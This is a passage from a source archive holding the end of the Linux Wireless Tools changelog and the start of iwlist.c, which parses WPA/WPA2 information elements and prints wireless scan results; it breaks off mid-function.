latest local version of wext [Makefile] * o Change soname of iwlib back to libiw.so.WT [Makefile] * o Get rid of redirector and "make vinstall" [Makefile/iwredir] * o Convert any struct iw_range to latest version [iwlib] * o Change run-time version warning to reflect new reality [iwlib] * o Remove compile-time version warning [iwlib] * o Add iw_get_kernel_we_version() to guess kernel WE version [iwlib] * o Remove all #ifdef WIRELESS_EXT, use dynamic iwrange version [all] * o Get/display wireless stats based on iwrange version [iwlib] * o Get power and retry settings based on iwrange version [iwconfig] * o Display power and retry settings based on iwrange version [iwlist] * o Optimise use of iwrange : read on demand [iwevent] * --- * o #include , instead of using a #define [iwlib.h] * o Copy latest wireless.XX.h as wireless.h and install it [Makefile] * --- * o Fix various iwlist retry display bugs [iwlist] * o Fix dynamic link to libiw back to be libiw.so (doh !) [Makefile] * --- * o Trivial cleanups and docs updates * --- * o Implement "iwconfig XXX txpower on" and fix "fixed" [iwconfig] * o Always properly initialise sanlen before recvfrom() [iwevent] * o Zero buffer so we don't print garbage after essid [iwgetid] * o Document that 00:00:00:00:00:00 == no association [iwconfig.8] * (From Guus Sliepen ) * o Fix doc typo : ad_hoc => ad-hoc [wireless.7/DISTRIBUTIONS.txt] * --- * (From vda ) * o Accept arbitrary number of private definitions [iwlib/iwpriv] * --- * o Added Hotplug documentation [HOTPLUG.txt] * o Add dependancies (gcc way), remove makedepend [Makefile] * (From Maxime Charpenne ) * o Traduction en francais des pages manuel [fr/*] * o Fix some incorrect/ambiguous sentences [iwconfig.8/iwevent.8] * (From Joshua Kwan ) * o Add 'const' qualifier to iwlib API [iwlib.c/iwlib.h] * (From Joey Hess ) * o Add Debian schemes scripts [debian/ifscheme*] * --- * o Add 'ifrename', complete rewrite of nameif [ifrename] * o Update documentation about ifrename [HOTPLUG.txt] * (From Joshua Kwan ) * o Fix disabling of key/enc with iw_set_basic_config() & WE<13 [iwlib.c] * --- * o Various bug fixes and improvements [ifrename] * --- * o Man pages for ifrename [ifrename.8/iftab.5] * o Update hotplug/ifrename documentation [HOTPLUG.txt] * --- * o Read configuration from stdin [ifrename] * (From Thomas Hood ) * o Spell check and updated man page [wireless.7] * (From Pavel Roskin ) * o Update and spellcheck documentation [HOTPLUG.txt] * --- * o Spin-off 'ifscheme' in a separate package to please Guus Sliepen * o Update documentation on 'ifscheme' [DISTRIBUTIONS.txt/README] * (From dann frazier ) * o Spell check and updated man page [iwlist.8] * --- * o Cache interface static data (ifname/iwrange) [iwevent.c] * --- * o Change the policy to delete entry from cache [iwevent.c] * o If no TxPower in iwrange, still print current TxPower [iwlist.c] * o Use iw_get_basic_config() in iwconfig, bloat-- [iwconfig.c/iwlib.h] * --- * (From Pavel Roskin ) * o Fix mode boundary checking in iw_get_basic_config() [iwlib.c] * --- * o Improved priv documentation [iwpriv.c] * (From Pavel Roskin ) * o Fix token index bug : allow zero args [iwpriv.c] * o Grammar fixes in priv documentation [iwpriv.c] * --- * o Make iw_protocol_compare() smarter [iwlib.c] * o Display freq->channel conversion in scan results [iwlist] * o Display freq->channel conversion in events [iwevent] * o Interface name takeover support [ifrename] * o Update docu for Debian Sarge, various improvements [HOTPLUG.txt] * o Set wireless parameters in the proper order [iwlib] * --- * (Suggested by Pavel Roskin ) * o Be less dramatic is driver doesn't export txpower info [iwlist] * o Be less dramatic is driver doesn't export bitrate info [iwlist] * o Use 'updated' bits to disable printing some qual [iwlib] * o Change the way we show 'updated' bits -> '=' vs. ':' [iwlib] * o Cosmetic update to channel display [iwlist/iwevent] * --- * o Easy scanning API (blocking & non-blocking) [iwlib] * o Add channel only support to iwgetid [iwgetid] * o Compile iwgetid with iwlib for above [Makefile/iwgetid] * (From Loic Minier via Guus Sliepen) * o Fix french man pages to not use special 'oe' char [fr/*.8] * (From Thomas Hood ) * o Use hyphens instead of underscores in Debian docs [*.txt/*.7] * --- * o Update for WE-17 (wrq.u.freq.flags, IW_QUAL_*) [all] * o Use iw_get_ext() instead of ioctl() [iwgetid] * o Retry getting scan results with larger buffer [iwlist/iwlib] * o Display wireless event capabilities [iwlist] * o Add support for relative TxPower (yick !) [iwconfig/iwlist] * o Create iw_print_txpower() [iwlib] * o Add "Set" prefix for all SET wireless events [iwevent] * (Suggested by Pavel Roskin ) * o Add support for get_freq and get_essid events [iwevent] * --- * o Reorganise iw_print_freq() => create iw_print_freq_value() [iwlib] * o Create iw_channel_to_freq() and use it [iwlib/iwconfig/iwevent] * o Fixup for WE-18 : Set scan takes an iw_point [iwlist/iwlib] * o Fixup for WE-19 : Take care of IW_EV_POINT_OFF [iwlib] * --- * o Introduces iw_sockets_close() [all] * o Set proper size on SIOCGIWSTATS requests [iwlib] * o Use iw_print_freq_value() in iwlist [iwlist] * o Optimise iw_print_bitrate() [iwlib] * o Fix wrq.u.data.flags => wrq.u.txpower.flags [iwconfig] * (From Denis Ovsienko ) * o Add dry-run support (only print name changes) [ifrename] * --- * o Move WE_VERSION/WT_VERSION to iwlib.h [iwlib/Makefile] * o Add support for new selector pcmciaslot [ifrename] * o Improve/cleanup DEBUG/verbose output [ifrename] * o Minor documentation updates [HOTPLUG.txt/DISTRIBUTIONS.txt] * (From Francesco Potorti` ) * o Allow iwgetid to accept '-c' options [iwgetid] * (From Ian Gulliver ) * o Transform #define DEBUG into verbose command line switch [ifrename] * --- * (From Dan Williams ) * o Fix buffer memory leak in scanning [iwlib/iwlist] * --- * o Make sure gcc inline stuff properly [iwlib.h] * o Update Hotplug documentation [HOTPLUG.txt] * o Add support for new selector firmware [ifrename] * * wireless 28 : * ----------- * o Fix gcc inline hack when using kernel headers [iwlib.h] * (From Denis Ovsienko ) * o Allow '-n' without '-i', even though inefficient [ifrename] * (From Thomas Hood ) * o Fix technical and spelling errors in Hotplug doc [HOTPLUG.txt] * --- * o Include wireless.h as a local file, not a system file [iwlib.h] * o Split install targets [Makefile] * (Suggested by Jost Diederichs ) * o Increase scanning timeout for MadWifi [iwlib/iwlist] * (Suggested by Ned Ludd ) * o Multicall version of the tools for embedded [iwmulticall] * --- * o Fix some install Makefile targets broken in pre2 [Makefile] * --- * o Add option for stripping symbols on tools [Makefile] * o Add escaping of essid keyworks with -- in manpage [iwconfig.8] * o Update sensitivity description [iwconfig.8] * o Fix iw_print_timeval() for timezone [iwlib/iwevent] * (Suggested by Jan Minar ) * o Escape interface name for --help/--version with -- [iwconfig] * o Allow --help/--version to be interface names [iwlist] * (From Martynas Dubauskis ) * o Fix invalid sizeof for stat memcpy in easy scanning API [iwlib.c] * (From Andreas Mohr ) * o Fix my horrendous spelling [HOTPLUG.txt/PCMCIA.txt/README/*.8] * --- * o Make static lib use PIC objects [Makefile] * o Add SYSFS selector support to ifrename [ifrename] * o Fix a fd leak in pcmciaslot selector [ifrename] * o Don't complain about eth0/wlan0 if takeover enabled [ifrename] * o Update man pages for sysfs and eth0/wlan0 [ifrename.8] * o Update man pages for frequ auto/off [iwconfig.8] * o More clever manual loading and docking tricks [HOTPLUG.txt] * (From Pavel Heimlich tropikhajma@seznam.cz) * o Czech (cs) man pages [cs/*] * --- * o Fudge patch below for better integration [iwconfig/iwevent/iwlist] * (From Jouni Malinen ) * o WE-18/WPA event display [iwevent] * o WE-18/WPA parameter display [iwconfig] * --- * o Replace iw_pr_ether() with iw_saether_ntop() [iwlib] * o Replace iw_in_ether() with iw_saether_aton() [iwlib] * o Remove iw_get_mac_addr() -> unused and bad API [iwlib] * o Add iw_mac_ntop() and iw_mac_aton() for any-len mac addr [iwlib] * o Slim down iw_ether_aton() using iw_mac_ntop() [iwlib] * o Slim down iw_in_key(), avoid memcpy [iwlib] * o Add support for any-len mac addr selector [ifrename] * --- * o Re-add temp output buffer in iw_in_key() to avoid corruptions [iwlib] * --- * o Add WE-19 headers, compile with that as default * o IW_EV_POINT_LEN has shrunk, so invert IW_EV_POINT_OFF fixup [iwlib] * o Remove WE backward compat from iwlib.h header [iwlib] * o Add support for IW_QUAL_DBM in iw_print_stats() [iwlib] * o Add support for ARPHRD_IEEE80211 in iw_check_mac_addr_type() [iwlib] * -> iwspy work on wifi0 netdev from airo.c * --- * o Set flags to 0 before asking old power settings for 'on' [iwconfig] * (Suggested by Denis Ovsienko ) * o Ignore empty lines in iface enumeration iw_enum_devices() [iwlib] * (From Pavel Roskin ) * o Fix invalid buffer size in 'iwlist power' [iwlist] * (Suggested by Francesco Potorti` ) * o Remove kernel headers, use glibc headers [iwlib] * --- * o Show explicit state for SIOCSIWAP, not numbers [iwconfig/iwevent] * o Add WE-18 ioctls to the stream parser in standard_ioctl_hdr [iwlib] * (From Chris Hessing ) * o Add GENIE parsing support in scan resuls [iwlist] * --- * o Change iw_extract_event_stream() API to add value index [iwlib] * o Scan : display bitrate values on a single line [iwlist] * --- * o Revert to previous iw_extract_event_stream() API, debloat [iwlib] * o Keep track of value index in [iwlist] * --- * o Check event stream 'point' payload size to avoid overflow [iwlib] * o Make all users of event stream 'point' safe to NULL [iwlist/iwevent] * o 'iwconfig txpower 1dBm' should not be 'mW' [iwconfig] * o Forward compat. to WE-21 : essid len is strlen, not +1 [iwconfig] * --- * o Forgot one place where essid len was strlen+1 [iwlib] * o Update definition of 'ap' and 'sens' to reflect reality [man] * --- * o Introduce WE_MAX_VERSION to take into account forward compat [iwlib] * o Add WE-20 headers, compile with that as default * --- * o Fix 'inline' for gcc-4 as well. Grrr... [iwlib] * * wireless 29 : * ----------- * o Add new power value : 'power saving' [iwconfig/iwlist/iwlib] * o Optimise getting iwrange when setting TxPower [iwconfig] * o Optimise displaying current power values (better loop) [iwlist] * --- * o Add modulation bitmasks ioctls [iwconfig/iwlist] * o Add short and long retries [iwconfig/iwlist/iwlib] * o Fix 'relative' power saving to not be *1000 [iwconfig/iwlib] * o iw_print_pm_value() require we_version [iwlib] * o Optimise displaying range power values (subroutine) [iwlist] * --- * o Fix 'relative' retry to not be *1000 [iwconfig/iwlib] * o iw_print_retry_value() require we_version [iwlib] * o Optimise getting iwrange when setting PowerSaving [iwconfig] * o Optimise displaying current retry values (better loop) [iwlist] * o Optimise displaying range retry values (subroutine) [iwlist] * --- * o Fix stupid bug in displaying range retry values [iwlist] * --- * o Add support for unicast and broadcast bitrates [iwconfig/iwlist] * --- * o Replace spaghetti code with real dispatcher in set_info() [iwconfig] * Code is more readable, maintainable, and save 700 bytes... * o Drop 'domain' alias for 'nwid'. Obsolete. [iwconfig] * o Make iw_usage() use dispatcher data instead of hardcoded [iwconfig] * o Factor out modifier parsing for retry/power [iwconfig] * o Fix iwmulticall to compile with new dispatcher above [iwmulticall] * o Add WE_ESSENTIAL compile option to drop 10kB [Makefile] * --- * o Update manpages with new features above [man] * --- * o Add temp variable to sscanf() to fix 64 bits issues [iwconfig] * o De-inline get_pm_value/get_retry_value to reduce footprint [iwlist] * o Optimise iw_print_ie_cipher/iw_print_ie_auth [iwlist] * o Add "Memory footprint reduction" section in doc [README] * o Add 'last' scan option for left-over scan [iwlist] * (From Stavros Markou ) * o Add 'essid' scan option for directed scan [iwlist] * --- * (Bug reported by Henrik Brix Andersen ) * o Fix segfault on setting bitrate (parse wrong arg) [iwconfig] * --- * o Revert 'CC=gcc' to normal [Makefile] * o Integrate properly patch below [iwlist] * (From Brian Eaton ) * o More WPA support : iwlist auth/wpakeys/genie [iwlist] * --- * o Tweak man pages : interface is often optional [iwlist.8/iwspy.8] * o Drop obsolete port/roam code from [iwpriv] * (From Pavel Roskin ) * o Fix bug where all auth masks use iw_auth_capa_name [iwlist] * (From Dima Ryazanov ) * o Fix iw_scan()/iw_process_scan() for non-root -> EPERM [iwlib] * (Bug reported by Arkadiusz Miskiewicz ) * o Fix "iwconfig nickname" (was abreviated) [iwconfig] * (Bug reported by Charles Plessy) * o Invalid mode from driver segfault iwlist scan [iwlist] * (From Aurelien Jacobs ) * o Replace index() with strchr() [iwlib/iwconfig/iwpriv] * (From Jens Thoms Toerring) * o Parser/printf/sscanf fixes and optimisation [iwconfig] * --- * (From Pavel Roskin ) * o Fix bug extracting mountpoint of sysfs (wrong field) [ifrename] * (Suggested by Pavel Roskin ) * o Read sysfs symlinks transparently [ifrename] * --- * o Fix README header to talk about ifrename [README] * o Add 'prevname' selector for udev compatibility [ifrename] * o Read parent directory names in SYSFS selector [ifrename] * o Make dry-run output compatible with udev [ifrename] * o Update man page with useful SYSFS selectors [iftab.5] * --- * o Factorise wildcard rewrite '*'->'%d' to hide it from -D -V [ifrename] * o Reorganise sysfs description, better wording [iftab.5] * (Suggested by Pavel Roskin ) * o Enhance explanation of arp and iwproto [iftab.5] * --- * (Bug reported by Johannes Berg ) * o Band-aid for the 64->32bit iwevent/iwscan issues [iwlib] * --- * o Better band-aid for the 64->32bit iwevent/iwscan issues [iwlib] * (Suggested by Kay Sievers ) * o Add udev compatible output, print new DEVPATH [ifrename] * --- * o Fix DEVPATH output to use the real devpath from udev [ifrename] * o Add udev rules for ifrename integration [19-udev-ifrename.rules] * --- * o Add largest bitrate in easy scan API [iwlib] * --- * o Debug version : output IW_EV_LCP_LEN [iwlist] * --- * (Bug reported by Santiago Gala/Roy Marples) * o Fix 64->32bit band-aid on 64 bits, target is local aligned [iwlib] * --- * (Bug reported by Santiago Gala/Roy Marples) * o More fix to the 64->32bit band-aid on 64 bits [iwlib] * --- * (Bug reported by Dimitris Kogias) * o Fix GENIE parsing os chipher/key_mngt [iwlist] * (Bug reported by Guus Sliepen ) * o Compiler warning on DEBUG code [iwlist] * --- * o --version output WE_MAX_VERSION instead of WE_VERSION [iwlib] * o Change iwstats dBm range to [-192;63] in iw_print_stats() [iwlib.c] * o Implement iwstats IW_QUAL_RCPI in iw_print_stats() [iwlib.c] * (Bug reported by Guus Sliepen ) * o LINUX_VERSION_CODE removed, only use GENERIC_HEADERS [iwlib.h] * (Bug reported by Johan Danielsson ) * o Fix OUI type check for WPA 1 IE [iwlist.c] * --- * (Bug reported by Florent Daignire) * o Don't look for "fixed" out of array in set_txpower_info() [iwconfig] */ /* ----------------------------- TODO ----------------------------- */ /* * One day, maybe... * * iwconfig : * -------- * Make disable a per encryption key modifier if some hardware * requires it. * IW_QUAL_RCPI * * iwspy : * ----- * Add an "auto" flag to have the driver cache the last n results * * iwlist : * ------ * Add scanning command line modifiers * More scan types support * * ifrename : * -------- * Link Type should use readable form instead of numeric value * * Doc & man pages : * --------------- * Update main doc. */ reaver-1.4/src/lwe/iwlist.c0000755000175000017500000016750511705505257015261 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB '99 - HPL 99->07 * * This tool can access various piece of information on the card * not part of iwconfig... * You need to link this code against "iwlist.c" and "-lm". * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ #include "iwlib.h" /* Header */ #include /****************************** TYPES ******************************/ /* * Scan state and meta-information, used to decode events... */ typedef struct iwscan_state { /* State */ int ap_num; /* Access Point number 1->N */ int val_index; /* Value in table 0->(N-1) */ } iwscan_state; /* * Bit to name mapping */ typedef struct iwmask_name { unsigned int mask; /* bit mask for the value */ const char * name; /* human readable name for the value */ } iwmask_name; /* * Types of authentication parameters */ typedef struct iw_auth_descr { int value; /* Type of auth value */ const char * label; /* User readable version */ const struct iwmask_name * names; /* Names for this value */ const int num_names; /* Number of names */ } iw_auth_descr; /**************************** CONSTANTS ****************************/ #define IW_SCAN_HACK 0x8000 #define IW_EXTKEY_SIZE (sizeof(struct iw_encode_ext) + IW_ENCODING_TOKEN_MAX) /* ------------------------ WPA CAPA NAMES ------------------------ */ /* * This is the user readable name of a bunch of WPA constants in wireless.h * Maybe this should go in iwlib.c ? */ #ifndef WE_ESSENTIAL #define IW_ARRAY_LEN(x) (sizeof(x)/sizeof((x)[0])) //static const struct iwmask_name iw_enc_mode_name[] = { // { IW_ENCODE_RESTRICTED, "restricted" }, // { IW_ENCODE_OPEN, "open" }, //}; //#define IW_ENC_MODE_NUM IW_ARRAY_LEN(iw_enc_mode_name) static const struct iwmask_name iw_auth_capa_name[] = { { IW_ENC_CAPA_WPA, "WPA" }, { IW_ENC_CAPA_WPA2, "WPA2" }, { IW_ENC_CAPA_CIPHER_TKIP, "CIPHER-TKIP" }, { IW_ENC_CAPA_CIPHER_CCMP, "CIPHER-CCMP" }, }; #define IW_AUTH_CAPA_NUM IW_ARRAY_LEN(iw_auth_capa_name) static const struct iwmask_name iw_auth_cypher_name[] = { { IW_AUTH_CIPHER_NONE, "none" }, { IW_AUTH_CIPHER_WEP40, "WEP-40" }, { IW_AUTH_CIPHER_TKIP, "TKIP" }, { IW_AUTH_CIPHER_CCMP, "CCMP" }, { IW_AUTH_CIPHER_WEP104, "WEP-104" }, }; #define IW_AUTH_CYPHER_NUM IW_ARRAY_LEN(iw_auth_cypher_name) static const struct iwmask_name iw_wpa_ver_name[] = { { IW_AUTH_WPA_VERSION_DISABLED, "disabled" }, { IW_AUTH_WPA_VERSION_WPA, "WPA" }, { IW_AUTH_WPA_VERSION_WPA2, "WPA2" }, }; #define IW_WPA_VER_NUM IW_ARRAY_LEN(iw_wpa_ver_name) static const struct iwmask_name iw_auth_key_mgmt_name[] = { { IW_AUTH_KEY_MGMT_802_1X, "802.1x" }, { IW_AUTH_KEY_MGMT_PSK, "PSK" }, }; #define IW_AUTH_KEY_MGMT_NUM IW_ARRAY_LEN(iw_auth_key_mgmt_name) static const struct iwmask_name iw_auth_alg_name[] = { { IW_AUTH_ALG_OPEN_SYSTEM, "open" }, { IW_AUTH_ALG_SHARED_KEY, "shared-key" }, { IW_AUTH_ALG_LEAP, "LEAP" }, }; #define IW_AUTH_ALG_NUM IW_ARRAY_LEN(iw_auth_alg_name) static const struct iw_auth_descr iw_auth_settings[] = { { IW_AUTH_WPA_VERSION, "WPA version", iw_wpa_ver_name, IW_WPA_VER_NUM }, { IW_AUTH_KEY_MGMT, "Key management", iw_auth_key_mgmt_name, IW_AUTH_KEY_MGMT_NUM }, { IW_AUTH_CIPHER_PAIRWISE, "Pairwise cipher", iw_auth_cypher_name, IW_AUTH_CYPHER_NUM }, { IW_AUTH_CIPHER_GROUP, "Pairwise cipher", iw_auth_cypher_name, IW_AUTH_CYPHER_NUM }, { IW_AUTH_TKIP_COUNTERMEASURES, "TKIP countermeasures", NULL, 0 }, { IW_AUTH_DROP_UNENCRYPTED, "Drop unencrypted", NULL, 0 }, { IW_AUTH_80211_AUTH_ALG, "Authentication algorithm", iw_auth_alg_name, IW_AUTH_ALG_NUM }, { IW_AUTH_RX_UNENCRYPTED_EAPOL, "Receive unencrypted EAPOL", NULL, 0 }, { IW_AUTH_ROAMING_CONTROL, "Roaming control", NULL, 0 }, { IW_AUTH_PRIVACY_INVOKED, "Privacy invoked", NULL, 0 }, }; #define IW_AUTH_SETTINGS_NUM IW_ARRAY_LEN(iw_auth_settings) /* Values for the IW_ENCODE_ALG_* returned by SIOCSIWENCODEEXT */ static const char * iw_encode_alg_name[] = { "none", "WEP", "TKIP", "CCMP", "unknown" }; #define IW_ENCODE_ALG_NUM IW_ARRAY_LEN(iw_encode_alg_name) #ifndef IW_IE_CIPHER_NONE /* Cypher values in GENIE (pairwise and group) */ #define IW_IE_CIPHER_NONE 0 #define IW_IE_CIPHER_WEP40 1 #define IW_IE_CIPHER_TKIP 2 #define IW_IE_CIPHER_WRAP 3 #define IW_IE_CIPHER_CCMP 4 #define IW_IE_CIPHER_WEP104 5 /* Key management in GENIE */ #define IW_IE_KEY_MGMT_NONE 0 #define IW_IE_KEY_MGMT_802_1X 1 #define IW_IE_KEY_MGMT_PSK 2 #endif /* IW_IE_CIPHER_NONE */ /* Values for the IW_IE_CIPHER_* in GENIE */ static const char * iw_ie_cypher_name[] = { "none", "WEP-40", "TKIP", "WRAP", "CCMP", "WEP-104", }; #define IW_IE_CYPHER_NUM IW_ARRAY_LEN(iw_ie_cypher_name) /* Values for the IW_IE_KEY_MGMT_* in GENIE */ static const char * iw_ie_key_mgmt_name[] = { "none", "802.1x", "PSK", }; #define IW_IE_KEY_MGMT_NUM IW_ARRAY_LEN(iw_ie_key_mgmt_name) #endif /* WE_ESSENTIAL */ /************************* WPA SUBROUTINES *************************/ #ifndef WE_ESSENTIAL /*------------------------------------------------------------------*/ /* * Print all names corresponding to a mask. * This may want to be used in iw_print_retry_value() ? */ static void iw_print_mask_name(unsigned int mask, const struct iwmask_name names[], const unsigned int num_names, const char * sep) { unsigned int i; /* Print out all names for the bitmask */ for(i = 0; i < num_names; i++) { if(mask & names[i].mask) { /* Print out */ printf("%s%s", sep, names[i].name); /* Remove the bit from the mask */ mask &= ~names[i].mask; } } /* If there is unconsumed bits... */ if(mask != 0) printf("%sUnknown", sep); } /*------------------------------------------------------------------*/ /* * Print the name corresponding to a value, with overflow check. */ static void iw_print_value_name(unsigned int value, const char * names[], const unsigned int num_names) { if(value >= num_names) printf(" unknown (%d)", value); else printf(" %s", names[value]); } /*------------------------------------------------------------------*/ /* * Parse, and display the results of an unknown IE. * */ static void iw_print_ie_unknown(unsigned char * iebuf, int buflen) { int ielen = iebuf[1] + 2; int i; if(ielen > buflen) ielen = buflen; printf("Unknown: "); for(i = 0; i < ielen; i++) printf("%02X", iebuf[i]); printf("\n"); } /*------------------------------------------------------------------*/ /* * Parse, and display the results of a WPA or WPA2 IE. * */ static inline void iw_print_ie_wpa(unsigned char * iebuf, int buflen) { int ielen = iebuf[1] + 2; int offset = 2; /* Skip the IE id, and the length. */ unsigned char wpa1_oui[3] = {0x00, 0x50, 0xf2}; unsigned char wpa2_oui[3] = {0x00, 0x0f, 0xac}; unsigned char * wpa_oui; int i; uint16_t ver = 0; uint16_t cnt = 0; if(ielen > buflen) ielen = buflen; #ifdef DEBUG /* Debugging code. In theory useless, because it's debugged ;-) */ printf("IE raw value %d [%02X", buflen, iebuf[0]); for(i = 1; i < buflen; i++) printf(":%02X", iebuf[i]); printf("]\n"); #endif switch(iebuf[0]) { case 0x30: /* WPA2 */ /* Check if we have enough data */ if(ielen < 4) { iw_print_ie_unknown(iebuf, buflen); return; } wpa_oui = wpa2_oui; break; case 0xdd: /* WPA or else */ wpa_oui = wpa1_oui; /* Not all IEs that start with 0xdd are WPA. * So check that the OUI is valid. Note : offset==2 */ if((ielen < 8) || (memcmp(&iebuf[offset], wpa_oui, 3) != 0) || (iebuf[offset + 3] != 0x01)) { iw_print_ie_unknown(iebuf, buflen); return; } /* Skip the OUI type */ offset += 4; break; default: return; } /* Pick version number (little endian) */ ver = iebuf[offset] | (iebuf[offset + 1] << 8); offset += 2; if(iebuf[0] == 0xdd) printf("WPA Version %d\n", ver); if(iebuf[0] == 0x30) printf("IEEE 802.11i/WPA2 Version %d\n", ver); /* From here, everything is technically optional. */ /* Check if we are done */ if(ielen < (offset + 4)) { /* We have a short IE. So we should assume TKIP/TKIP. */ printf(" Group Cipher : TKIP\n"); printf(" Pairwise Cipher : TKIP\n"); return; } /* Next we have our group cipher. */ if(memcmp(&iebuf[offset], wpa_oui, 3) != 0) { printf(" Group Cipher : Proprietary\n"); } else { printf(" Group Cipher :"); iw_print_value_name(iebuf[offset+3], iw_ie_cypher_name, IW_IE_CYPHER_NUM); printf("\n"); } offset += 4; /* Check if we are done */ if(ielen < (offset + 2)) { /* We don't have a pairwise cipher, or auth method. Assume TKIP. */ printf(" Pairwise Ciphers : TKIP\n"); return; } /* Otherwise, we have some number of pairwise ciphers. */ cnt = iebuf[offset] | (iebuf[offset + 1] << 8); offset += 2; printf(" Pairwise Ciphers (%d) :", cnt); if(ielen < (offset + 4*cnt)) return; for(i = 0; i < cnt; i++) { if(memcmp(&iebuf[offset], wpa_oui, 3) != 0) { printf(" Proprietary"); } else { iw_print_value_name(iebuf[offset+3], iw_ie_cypher_name, IW_IE_CYPHER_NUM); } offset+=4; } printf("\n"); /* Check if we are done */ if(ielen < (offset + 2)) return; /* Now, we have authentication suites. */ cnt = iebuf[offset] | (iebuf[offset + 1] << 8); offset += 2; printf(" Authentication Suites (%d) :", cnt); if(ielen < (offset + 4*cnt)) return; for(i = 0; i < cnt; i++) { if(memcmp(&iebuf[offset], wpa_oui, 3) != 0) { printf(" Proprietary"); } else { iw_print_value_name(iebuf[offset+3], iw_ie_key_mgmt_name, IW_IE_KEY_MGMT_NUM); } offset+=4; } printf("\n"); /* Check if we are done */ if(ielen < (offset + 1)) return; /* Otherwise, we have capabilities bytes. * For now, we only care about preauth which is in bit position 1 of the * first byte. (But, preauth with WPA version 1 isn't supposed to be * allowed.) 8-) */ if(iebuf[offset] & 0x01) { printf(" Preauthentication Supported\n"); } } /*------------------------------------------------------------------*/ /* * Process a generic IE and display the info in human readable form * for some of the most interesting ones. * For now, we only decode the WPA IEs. */ static inline void iw_print_gen_ie(unsigned char * buffer, int buflen) { int offset = 0; /* Loop on each IE, each IE is minimum 2 bytes */ while(offset <= (buflen - 2)) { printf(" IE: "); /* Check IE type */ switch(buffer[offset]) { case 0xdd: /* WPA1 (and other) */ case 0x30: /* WPA2 */ iw_print_ie_wpa(buffer + offset, buflen); break; default: iw_print_ie_unknown(buffer + offset, buflen); } /* Skip over this IE to the next one in the list. */ offset += buffer[offset+1] + 2; } } #endif /* WE_ESSENTIAL */ /***************************** SCANNING *****************************/ /* * This one behave quite differently from the others * * Note that we don't use the scanning capability of iwlib (functions * iw_process_scan() and iw_scan()). The main reason is that * iw_process_scan() return only a subset of the scan data to the caller, * for example custom elements and bitrates are ommited. Here, we * do the complete job... */ /*------------------------------------------------------------------*/ /* * Print one element from the scanning results */ static inline void print_scanning_token(struct stream_descr * stream, /* Stream of events */ struct iw_event * event, /* Extracted token */ struct iwscan_state * state, struct iw_range * iw_range, /* Range info */ int has_range) { char buffer[128]; /* Temporary buffer */ /* Now, let's decode the event */ switch(event->cmd) { case SIOCGIWAP: printf(" Cell %02d - Address: %s\n", state->ap_num, iw_saether_ntop(&event->u.ap_addr, buffer)); state->ap_num++; break; case SIOCGIWNWID: if(event->u.nwid.disabled) printf(" NWID:off/any\n"); else printf(" NWID:%X\n", event->u.nwid.value); break; case SIOCGIWFREQ: { double freq; /* Frequency/channel */ int channel = -1; /* Converted to channel */ freq = iw_freq2float(&(event->u.freq)); /* Convert to channel if possible */ if(has_range) channel = iw_freq_to_channel(freq, iw_range); iw_print_freq(buffer, sizeof(buffer), freq, channel, event->u.freq.flags); printf(" %s\n", buffer); } break; case SIOCGIWMODE: /* Note : event->u.mode is unsigned, no need to check <= 0 */ if(event->u.mode >= IW_NUM_OPER_MODE) event->u.mode = IW_NUM_OPER_MODE; printf(" Mode:%s\n", iw_operation_mode[event->u.mode]); break; case SIOCGIWNAME: printf(" Protocol:%-1.16s\n", event->u.name); break; case SIOCGIWESSID: { char essid[IW_ESSID_MAX_SIZE+1]; memset(essid, '\0', sizeof(essid)); if((event->u.essid.pointer) && (event->u.essid.length)) memcpy(essid, event->u.essid.pointer, event->u.essid.length); if(event->u.essid.flags) { /* Does it have an ESSID index ? */ if((event->u.essid.flags & IW_ENCODE_INDEX) > 1) printf(" ESSID:\"%s\" [%d]\n", essid, (event->u.essid.flags & IW_ENCODE_INDEX)); else printf(" ESSID:\"%s\"\n", essid); } else printf(" ESSID:off/any/hidden\n"); } break; case SIOCGIWENCODE: { unsigned char key[IW_ENCODING_TOKEN_MAX]; if(event->u.data.pointer) memcpy(key, event->u.data.pointer, event->u.data.length); else event->u.data.flags |= IW_ENCODE_NOKEY; printf(" Encryption key:"); if(event->u.data.flags & IW_ENCODE_DISABLED) printf("off\n"); else { /* Display the key */ iw_print_key(buffer, sizeof(buffer), key, event->u.data.length, event->u.data.flags); printf("%s", buffer); /* Other info... */ if((event->u.data.flags & IW_ENCODE_INDEX) > 1) printf(" [%d]", event->u.data.flags & IW_ENCODE_INDEX); if(event->u.data.flags & IW_ENCODE_RESTRICTED) printf(" Security mode:restricted"); if(event->u.data.flags & IW_ENCODE_OPEN) printf(" Security mode:open"); printf("\n"); } } break; case SIOCGIWRATE: if(state->val_index == 0) printf(" Bit Rates:"); else if((state->val_index % 5) == 0) printf("\n "); else printf("; "); iw_print_bitrate(buffer, sizeof(buffer), event->u.bitrate.value); printf("%s", buffer); /* Check for termination */ if(stream->value == NULL) { printf("\n"); state->val_index = 0; } else state->val_index++; break; case SIOCGIWMODUL: { unsigned int modul = event->u.param.value; int i; int n = 0; printf(" Modulations :"); for(i = 0; i < IW_SIZE_MODUL_LIST; i++) { if((modul & iw_modul_list[i].mask) == iw_modul_list[i].mask) { if((n++ % 8) == 7) printf("\n "); else printf(" ; "); printf("%s", iw_modul_list[i].cmd); } } printf("\n"); } break; case IWEVQUAL: iw_print_stats(buffer, sizeof(buffer), &event->u.qual, iw_range, has_range); printf(" %s\n", buffer); break; #ifndef WE_ESSENTIAL case IWEVGENIE: /* Informations Elements are complex, let's do only some of them */ iw_print_gen_ie(event->u.data.pointer, event->u.data.length); break; #endif /* WE_ESSENTIAL */ case IWEVCUSTOM: { char custom[IW_CUSTOM_MAX+1]; if((event->u.data.pointer) && (event->u.data.length)) memcpy(custom, event->u.data.pointer, event->u.data.length); custom[event->u.data.length] = '\0'; printf(" Extra:%s\n", custom); } break; default: printf(" (Unknown Wireless Token 0x%04X)\n", event->cmd); } /* switch(event->cmd) */ } /*------------------------------------------------------------------*/ /* * Perform a scanning on one device */ static int print_scanning_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_scan_req scanopt; /* Options for 'set' */ int scanflags = 0; /* Flags for scan */ unsigned char * buffer = NULL; /* Results */ int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */ struct iw_range range; int has_range; struct timeval tv; /* Select timeout */ int timeout = 15000000; /* 15s */ /* Avoid "Unused parameter" warning */ args = args; count = count; /* Debugging stuff */ if((IW_EV_LCP_PK2_LEN != IW_EV_LCP_PK_LEN) || (IW_EV_POINT_PK2_LEN != 